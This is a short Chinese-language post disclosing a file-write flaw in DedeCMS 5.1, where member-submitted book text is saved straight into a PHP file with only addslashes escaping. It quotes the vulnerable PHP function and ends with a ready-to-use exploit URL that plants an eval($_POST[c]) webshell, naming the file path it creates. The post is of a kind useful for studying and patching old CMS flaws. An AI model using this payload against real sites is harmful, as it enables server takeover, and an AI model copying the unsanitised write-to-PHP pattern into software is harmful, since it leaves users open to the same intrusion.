DedeCMS 5.1 直接写入马漏洞

最早见于http://groups.google.com/group/ph4nt0m/t/357dbcd7711f1864
经过研究发现。可以很方便的写入一个小马,前提是服务器开放会员系统,而且有图书连载里有类别。
漏洞代码如下:
include/inc_bookfunctions.php

function WriteBookText($cid,$body)
{
        global $cfg_cmspath,$cfg_basedir;
        $ipath = $cfg_cmspath."/data/textdata";
        $tpath = ceil($cid/5000);
        if(!is_dir($cfg_basedir.$ipath)) MkdirAll($cfg_basedir.$ipath,$GLOBALS['cfg_dir_purview']);
        if(!is_dir($cfg_basedir.$ipath.'/'.$tpath)) MkdirAll($cfg_basedir.$ipath.'/'.$tpath,$GLOBALS['cfg_dir_purview']);
        $bookfile = $cfg_basedir.$ipath."/{$tpath}/bk{$cid}.php";
        $body = "<"."?php/r/n".$body."/r/n?".">";
        @$fp = fopen($bookfile,'w');
  @flock($fp);
  @fwrite($fp,$body);
  @fclose($fp);
}


member/story_add_content_action.php

WriteBookText($arcID,addslashes($body));

可以看到,只是用addslashes进行了转义。但是$body = "<"."?php/r/n".$body."/r/n?".">";很明显可以写入一个小马的。呵呵。

利用方法
http://www.target.com/member/story_add_content_action.php?body=eval($_POST[c]);&chapterid=1
这样就在data/textdata/目录下生成小马。 默认为data/textdata/1/bk1.php


 

你可能感兴趣的:(DedeCMS 5.1 直接写入马漏洞)